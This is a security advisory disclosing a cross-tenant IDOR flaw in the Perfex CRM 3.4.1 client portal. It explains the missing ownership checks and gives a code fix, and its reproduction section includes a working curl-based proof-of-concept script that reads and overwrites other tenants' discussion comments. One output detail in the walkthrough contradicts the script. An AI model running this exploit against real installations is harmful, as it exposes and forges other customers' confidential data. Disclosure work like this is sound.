Key facts
| Vendor / Product | Perfex / Perfex CRM (commercial, CodeCanyon) |
| Affected version | 3.4.1 — very likely every earlier 3.x build that shares the same handler |
| Vulnerability class | Cross-tenant Insecure Direct Object Reference (IDOR) |
| CWE | CWE-639 (Authorization Bypass Through User-Controlled Key); CWE-284 (Improper Access Control) |
| CVSS 3.1 | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L — 8.1 High |
| Authentication required | Any authenticated client-portal user with the projects permission and one project of their own |
| Primitives | Cross-tenant read, update, delete, and insert on tblprojectdiscussioncomments |
| Affected file | application/controllers/Clients.php::Clients::project() and four methods in application/models/Projects_model.php |
| Fix complexity | Low — re-scope each action to the current project's clientid |
Perfex CRM's client portal is tenant-aware: Customer A must never see or touch Customer B's data. One controller, Clients::project($id), checks tenancy on the project ID in the URL, but forgets to check it on the discussion_id and comment id that arrive in the POST body. So any authenticated client — using their own project URL — can read, modify, delete, or inject discussion comments in any other tenant's projects, just by putting that tenant's integer IDs in the request body. IDs are auto-incremented, so enumeration is trivial.
How the bug works
application/controllers/Clients.php::project() is the client-portal project handler. It correctly scopes the URL $id:
$project = $this->projects_model->get($id, [
'clientid' => get_client_user_id(), // ✓ outer gate — works
]);
if (!$project) { show_404(); }…but then it dispatches on a POST action field, and four of those actions pass the inner IDs straight to the model without re-scoping:
case 'discussion_comments':
echo json_encode($this->projects_model->get_discussion_comments(
$this->input->post('discussion_id'), // ✗ no tenancy check
$this->input->post('discussion_type')
));
case 'update_discussion_comment': // ✗ same problem with id
case 'delete_discussion_comment': // ✗ same problem with id
case 'new_discussion_comment': // ✗ same problem with discussion_idAnd the model methods they call (get_discussion_comments, update_discussion_comment, delete_discussion_comment, add_discussion_comment) just run the query on whichever integer they receive. No JOIN to tblprojectdiscussions, no ownership filter, nothing. That's the whole bug.
The outer gate looks like it protects everything because the URL is the obvious entry point. It doesn't — the POST body carries a second primary key into the same tenant-sensitive table, and nobody checks it.
Reproduction
Needs two client-portal accounts on a stock Perfex 3.4.1 install — the normal customer-onboarding workflow. For the walkthrough:
Attacker (Alice)Victim (Bob)Portal login[email protected] / [email protected] / ClientPass2!Owns project id12Has a discussion on that projectid=1id=2
1. Bob uses the product normally
Bob logs in, opens his own project discussion, posts a comment through the UI:
Confidential: please send the Q2 payment to account BOB-9988-7766
2. Alice runs proof.sh
#!/usr/bin/env bash
set -e
BASE=http://localhost:8090
JAR=$(mktemp); trap 'rm -f "$JAR"' EXIT
# Log in as Alice
TOK=$(curl -s -c "$JAR" "$BASE/authentication/login" \
| grep -oE 'csrf_token_name" value="[^"]*"' | sed 's/.*value="//;s/"//')
curl -s -c "$JAR" -b "$JAR" -o /dev/null -X POST "$BASE/authentication/login" \
--data-urlencode "csrf_token_name=$TOK" \
--data-urlencode "[email protected]" \
--data-urlencode "password=ClientPass1!"
# Fresh CSRF token from Alice's own project page
TOK=$(curl -s -b "$JAR" "$BASE/clients/project/1" \
| grep -oE '"[a-f0-9]{32}"' | head -1 | tr -d '"')
# Read Bob's private comment (discussion_id=2)
curl -s -b "$JAR" -H "X-Requested-With: XMLHttpRequest" \
-X POST "$BASE/clients/project/1" \
--data-urlencode "csrf_token_name=$TOK" \
--data-urlencode "action=discussion_comments" \
--data-urlencode "discussion_id=2" \
--data-urlencode "discussion_type=regular"
# Overwrite Bob's comment (id=1)
curl -s -b "$JAR" -H "X-Requested-With: XMLHttpRequest" \
-X POST "$BASE/clients/project/1" \
--data-urlencode "csrf_token_name=$TOK" \
--data-urlencode "action=update_discussion_comment" \
--data-urlencode "id=1" \
--data-urlencode "content=HACKED BY ALICE - cross tenant write"The read returns Bob's comment JSON. The update returns HTTP 200 with the rewritten row — content is attacker-controlled, but fullname and contact_id still say Bob.
### 3. Bob refreshes his tab
Bob reloads his discussion and sees "IDOR Proof - cross tenant write"* attributed to himself. His own name, his own timestamp, content he never wrote.
The same pattern gives delete (action=delete_discussion_comment, id=<N>) and insert (action=new_discussion_comment with arbitrary discussion_id). A full four-action reproducer is included in the advisory bundle as poc.sh.
Impact
Project discussions are the most sensitive free-text surface in most Perfex deployments — credentials pasted by mistake, billing negotiations, contract terms, internal staff notes. This bug turns that surface into a shared resource across every tenant on the install.
Concretely, any authenticated client can:
- Read every other tenant's discussion content by iterating
discussion_idfrom 1 upward. - Rewrite any comment body (including staff messages) while the UI keeps showing the original author's name and timestamp — a clean gaslighting / social-engineering primitive.
- Delete individual comments, destroying the audit trail.
- Insert forged comments into any tenant's thread — useful for planting fake "please switch payment to this IBAN" messages.
For Perfex operators running multi-tenant client portals (MSPs, agencies, white-label resellers), a single paying customer can silently harvest or sabotage every other customer on the same installation.
Not an admin-account takeover path on its own — CodeIgniter's built-in global_xss_filtering neutralises the obvious stored-XSS pivot (tested against common payloads). The finding is strictly cross-tenant content access, not privilege escalation.
Fix
Validate that the referenced discussion belongs to a project owned by the current client before invoking any of the four model methods. The helper Projects_model::get_discussion($id, $project_id) already exists and accepts a project_id — it simply isn't called from these actions. One example:
case 'update_discussion_comment':
$comment = $this->projects_model->get_discussion_comment(
(int) $this->input->post('id')
);
if (!$comment) { show_404(); }
$discussion = $this->projects_model->get_discussion(
$comment->discussion_id,
$project->id // already scoped to get_client_user_id()
);
if (!$discussion) { show_404(); }
echo json_encode($this->projects_model->update_discussion_comment($this->input->post()));
die;Same pattern for the other three actions. Fail closed if the referenced discussion can't be resolved under the current client's project.
Credit
Discovered and reported by Jobyer Ahmed — Offensive Security Research, Founder, Bytium.
References
- CWE-639 — https://cwe.mitre.org/data/definitions/639.html
- CWE-284 — https://cwe.mitre.org/data/definitions/284.html
- CVSS 3.1 calculator — https://www.first.org/cvss/calculator/3.1
Part of Bytium's ongoing work on multi-tenant SaaS security. If you run Perfex CRM 3.x in a shared-tenant configuration, update as soon as a patched build ships; in the interim, restrict the projects contact permission to contacts that genuinely need it.